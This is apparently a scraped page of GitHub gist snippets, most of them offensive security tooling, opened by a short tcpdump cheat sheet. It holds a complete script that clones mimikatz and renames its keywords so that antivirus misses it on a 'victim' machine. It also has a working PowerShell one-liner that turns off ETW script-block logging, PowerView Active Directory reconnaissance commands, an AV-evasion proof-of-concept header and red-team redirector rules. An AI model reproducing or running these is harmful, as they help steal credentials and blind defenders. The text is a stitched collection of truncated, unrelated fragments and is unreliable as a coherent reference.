tcpdump-examples

Tcpdump is a CLI tool to capture raw network packets. This is useful for various forms of network troubleshooting. This cheat sheet covers all the basic and advanced options for tcpdump.

Tcpdump cheat sheet

how-to-use-tcpdump

Tcpdump command is a famous network packet analyzing tool that is used to display TCP\IP & other network packets being transmitted over the network attached to the system on which tcpdump has been installed. Tcpdump uses libpcap library to capture the network packets & is available on almost all Linux/Unix flavors.

Capture ICMP Packets With Tcpdump

ErikAugust

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

Kevin-Robertson

function Get-KerberosAESKey
{
    <#
    .SYNOPSIS
    Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
    results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
    
    https://tools.ietf.org/html/rfc3962
    https://msdn.microsoft.com/library/cc233855.aspx

imaibou

# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/windows
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

HarmJ0y

# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
#   has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

# get all the groups a user is effectively a member of, 'recursing up'
Get-NetGroup -UserName <USER>

# get all the effective members of a group, 'recursing down'
Get-NetGroupMember -GoupName <GROUP> -Recurse

# get the effective set of users who can administer a server

theevilbit

/*
This is a POC for a generic technique I called internally on our red team assessment "Divide and Conquer", which can be used to bypass behavioral based NextGen AV detection. It works by splitting malicious actions and API calls into distinct processes.
*/

#include <stdio.h>
#include <tchar.h>

#include <windows.h>
#include "Commctrl.h"
#include <string>

OTaKuHP

Bug Bounty Checklist and Cheatsheets

WAPT-https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Checklist_by_Chintan_Gurjar.pdf

Authenication-https://github.com/HolyBugx/HolyTips/blob/main/Checklist/Authentication.pdf

Oauth Misconfiguration-https://binarybrotherhood.io/oauth2_threat_model.html

File Upload-https://github.com/HolyBugx/HolyTips/blob/main/Checklist/File%20Upload.pdf

tandasat

#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
# 
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

curi0usJack

	# 
	# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	# 
	# Include /etc/apache2/redirect.rules
	#

nullbind

# Setup native functions so they can be called through c#
$win32 = @"
using System.Runtime.InteropServices;
using System;

public class Win32 {


[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);